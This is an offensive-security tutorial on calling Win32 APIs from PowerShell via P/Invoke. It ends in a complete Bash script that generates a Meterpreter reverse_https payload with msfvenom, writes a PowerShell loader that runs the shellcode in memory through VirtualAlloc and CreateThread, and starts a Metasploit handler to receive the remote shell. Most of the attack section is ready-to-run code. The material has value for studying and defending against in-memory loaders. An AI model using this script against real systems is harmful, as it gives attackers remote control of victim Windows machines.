We can’t execute Win32API methods directly from PowerShell. What are Win32API methods? We discuss them in Phishing in Microsoft Office - Calling Win32API. These are methods usually implemented in .dlls like kernel32.dll that you can usually find in C:\Windows\System32.

We can, however, compile and execute C# (CSharp) from PowerShell, and invoke these methods using the .NET Framework. Using Platform Invoke (P/Invoke), we can directly reference Win32API methods implemented in our target .dlls.

For effective translation of C# types to C/C++ types for parameters defined in these Win32API methods, we can reference helpful documentation provided at pinvoke.net. The following PowerShell script demonstrates how to invoke user32.MessageBox from user32.dll using P/Invoke and C#:

$User32 = @"
using System;
using System.Runtime.InteropServices;
 
public class User32 {
    [DllImport("user32.dll", CharSet=CharSet.Auto)]
    public static extern int MessageBox(IntPtr hWnd, String text,
        String caption, int options);
}
"@
 
Add-Type $User32
 
[User32]::MessageBox(0, "This is an alert", "MyBox", 0)

Executing shellcode in PowerShell

The following example uses the interoperability features described above to define references to the VirtualAlloc and CreateThread methods from kernel32.dll . This Bash script will generate a meterpreter windows/x64/meterpreter/reverse_https payload directed to callback to a provided LHOST and LPORTfor the next stage of the meterpreter payload.

The PowerShell shellcode buffer for the meterpreter payload will be placed into a PowerShell script that will call VirtualAlloc to allocate an RWX memory segment within the current process. The script will proceed to call System.Runtime.InteropServices.Marshal to copy the shellcode from managed memory to unmanaged memory - copying our shellcode to the newly created buffer from the previous VirtualAlloc call. Finally, we call CreateThread providing an address to our shellcode payload memory segment to gain shellcode execution.

After generating our PowerShell payload, we kick off an msfconsole session to listen for our meterpreter payload callback:

#!/bin/bash
 
set -ex -o pipefail
 
MSFPAYLOAD="windows/x64/meterpreter/reverse_https"
MSFCONSOLE=$(which msfconsole)
MSFVENOM=$(which msfvenom)
 
 
msfvenom() {
    PAYLOAD=$($MSFVENOM \
        -p $MSFPAYLOAD \
        LHOST=$LHOST \
        LPORT=$LPORT \
        EXITFUNC=thread \
        -f ps1 2>/dev/null)
}
 
 
generate_powershell() {
    tee payload.ps1 << EOF
\$Kernel32 = @"
using System;
using System.Runtime.InteropServices;
 
public class Kernel32 {
    [DllImport("kernel32")]
    public static extern IntPtr VirtualAlloc(IntPtr lpAddress, uint dwSize, uint flAllocationType, uint flProtect);
    [DllImport("kernel32", CharSet=CharSet.Ansi)]
    public static extern IntPtr CreateThread(IntPtr lpThreadAttributes, uint dwStackSize, IntPtr lpStartAddress, IntPtr lpParameter, uint dwCreationFlags, IntPtr lpThreadId);
    [DllImport("kernel32.dll", SetLastError=true)]
    public static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
}
"@
 
Add-Type \$Kernel32
 
$PAYLOAD
 
\$size = \$buf.Length
 
[IntPtr]\$addr = [Kernel32]::VirtualAlloc(0, \$size, 0x3000, 0x40)
 
[System.Runtime.InteropServices.Marshal]::Copy(\$buf, 0, \$addr, \$size)
 
\$thandle=[Kernel32]::CreateThread(0, 0, \$addr, 0, 0, 0)
 
[Kernel32]::WaitForSingleObject(\$thandle, [uint32]"0xFFFFFFFF")
EOF
}
 
listen() {
    $MSFCONSOLE \
        -q \
        -x "use multi/handler; \
            set payload $MSFPAYLOAD; \
            set LHOST $LHOST; \
            set LPORT $LPORT; \
            exploit"
}
 
 
LHOST=$1
LPORT=$2
 
msfvenom
generate_powershell
listen